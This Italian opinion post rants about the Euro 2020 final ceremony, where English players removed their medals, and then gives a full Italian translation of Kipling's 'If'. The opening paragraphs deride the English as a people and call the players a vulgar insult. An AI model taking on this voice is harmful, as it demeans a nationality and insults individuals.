Che controsenso ipocrita hanno questi inglesi con la i minuscola, persino il principe e famiglia presenti alla finale, che secondo il protocollo reale avrebbero dovuto consegnare la coppa ai vincitori se n’e’ sono andati assieme ai loro 50.000 sudditi.. per fortuna i nostri 6.000 hanno potuto festeggiare senza il patema di essere contagiati da questo popolo pseudo europeo che si permette di fischiare sull’inno nazionale degli avversari.

Certo e’ che per evitare di vedere questi uomini infantili a togliersi con disprezzo la medaglia dal collo avrebbero dovuto quantomeno offrirla a loro come elemosina in mano e per chi non l’avesse ritirava, ributtarla nel cesto della differenziata tra omiemmerda e uomini veri. Eccezione fatta con Henderson che e’ stato l’unico giocatore inglese a mantenere con onore al collo la medaglia ottenuta con sacrificio alla faccia dei giovani calciatori che hanno ritenuto figo togliersela con disprezzo a loro stessi.

Una lezione l’ha data anche il nostro Berrettini che ha ritirato il piatto d’argento complimentandosi con Djokovic il meritevole vincitore (con un sorriso del tipo..ci si rivede, tanto ho tempo).

Nel 1980 ci fu la finale a Wimbledon tra Borg e McEnroe e alle loro spalle su un muro ci stava scritto If you can meet with Triumpph and Disaster And treat those two impostors just the same.

Se saprai confrontarti con Trionfo e Rovina e trattare allo stesso modo questi due impostori etc etc

Vabbuo’ Vi traduco la poesia di Kypling e cerco di dimenticare la premiazione della finale che avrebbero dovuto tagliare e mettere lo spot del cellulare per i nonni che per quanto odioso era meglio di quello che ci hanno fatto vedere per lunghissimi sei minuti..

SE

Se saprai mantenere la testa quando tutti intorno a te
la perdono, e te ne fanno colpa.
Se saprai avere fiducia in te stesso quando tutti ne dubitano,
tenendo però considerazione anche del loro dubbio.
Se saprai aspettare senza stancarti di aspettare,
O essendo calunniato, non rispondere con calunnia,
O essendo odiato, non dare spazio all’odio,
Senza tuttavia sembrare troppo buono, né parlare troppo saggio;

Se saprai sognare, senza fare del sogno il tuo padrone;
Se saprai pensare, senza fare del pensiero il tuo scopo,
Se saprai confrontarti con Trionfo e Rovina
E trattare allo stesso modo questi due impostori.
Se riuscirai a sopportare di sentire le verità che hai detto
Distorte dai furfanti per abbindolare gli sciocchi,
O a guardare le cose per le quali hai dato la vita, distrutte,
E piegarti a ricostruirle con i tuoi logori arnesi.

Se saprai fare un solo mucchio di tutte le tue fortune
E rischiarlo in un unico lancio a testa e croce,
E perdere, e ricominciare di nuovo dal principio
senza mai far parola della tua perdita.
Se saprai serrare il tuo cuore, tendini e nervi
nel servire il tuo scopo quando sono da tempo sfiniti,
E a tenere duro quando in te non c’è più nulla
Se non la Volontà che dice loro: “Tenete duro!”

Se saprai parlare alle folle senza perdere la tua virtù,
O passeggiare con i Re, rimanendo te stesso,
Se né i nemici né gli amici più cari potranno ferirti,
Se per te ogni persona conterà, ma nessuno troppo.
Se saprai riempire ogni inesorabile minuto
Dando valore ad ognuno dei sessanta secondi,
Tua sarà la Terra e tutto ciò che è in essa,
E — quel che più conta — sarai un Uomo, figlio mio!

Erano uomini quelli che abbiamo visto???